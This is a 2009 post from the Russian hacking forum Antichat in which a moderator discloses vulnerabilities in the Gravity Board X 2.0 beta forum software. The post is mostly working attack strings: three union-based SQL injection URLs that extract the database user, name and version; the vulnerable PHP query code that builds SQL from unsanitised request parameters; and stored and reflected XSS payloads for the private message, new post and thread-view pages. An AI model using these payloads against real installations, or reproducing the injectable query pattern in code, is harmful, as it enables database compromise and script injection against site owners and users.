HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
Перезагрузить страницу Gravity Board X
   
 
 
Опции темы Поиск в этой теме Опции просмотра
Предыдущая Предыдущее сообщение   Следующее сообщение Следующая

Gravity Board X
  #1  
Старый 10.11.2009, 07:20
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
С нами: 9154406

Репутация: 2221


По умолчанию Gravity Board X
Название: Gravity Board X
Офф. сайт: http://www.gravityboardx.com
Версия: 2.0 BETA (Public Release 3)

SQL Иньекция.
Цитата:
/index.php?action=viewprofile&member_id=-2'+union+select+concat_ws(0x3a,user(),database(),v ersion())+--+
Уязвимый код:
PHP код:
$miquery = mysql_query("SELECT * FROM " . $prefix . "members WHERE memberid = '{$_GET['member_id']}'") OR DIE("Gravity Board X was unable get the member data requested from the members database: " . mysql_error()); 
Цитата:
index.php?action=viewpm&imid=-1'+union+select+concat_ws(0x3a,user(),database(),v ersion()),2,3,4,5,6,7,8,9,10+--+
Уязвимый код:
PHP код:
$imquery = mysql_query("SELECT * FROM " . $prefix . "ims WHERE imid='{$_GET}' AND imto='{$_SESSION}'", $connection) OR DIE("Gravity Board X was unable to retrieve your personal message from the database: " . mysql_error()); 
Цитата:
/index.php?action=viewboard&board_id=-2'+union+select+1,concat_ws(0x3a,user(),database() ,version()),3+--+

Активная XSS.
/index.php?action=newpm
В поле Message(Сообщение).
Цитата:
<script>alert();</script>
И отправляем.

/index.php?action=postnew&board_id=[Номер категории]
Имя: Bla
Message:
Цитата:
<script>alert();</script>
Пассивная XSS

Цитата:
/index.php?action=viewthread&thread_id="><script>al ert()</script>
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием
 



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Дизайн Joker Board Commercial 3 (куплю) capslock Разное - Покупка, продажа, обмен 0 02.11.2009 11:07
Joker Board Commercial 3 куплю дизайн (500$) capslock Freelance - О Работе 0 13.10.2009 02:22
Hack-конкурс по взлому сайта Intellect Board Error404 Freelance - О Работе 23 02.02.2007 06:26
Уязвимости в Invision Power Board(U) v1.3 PF1. Вопрос. dukalis(AwP) Уязвимости CMS / форумов 14 19.04.2006 19:40



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.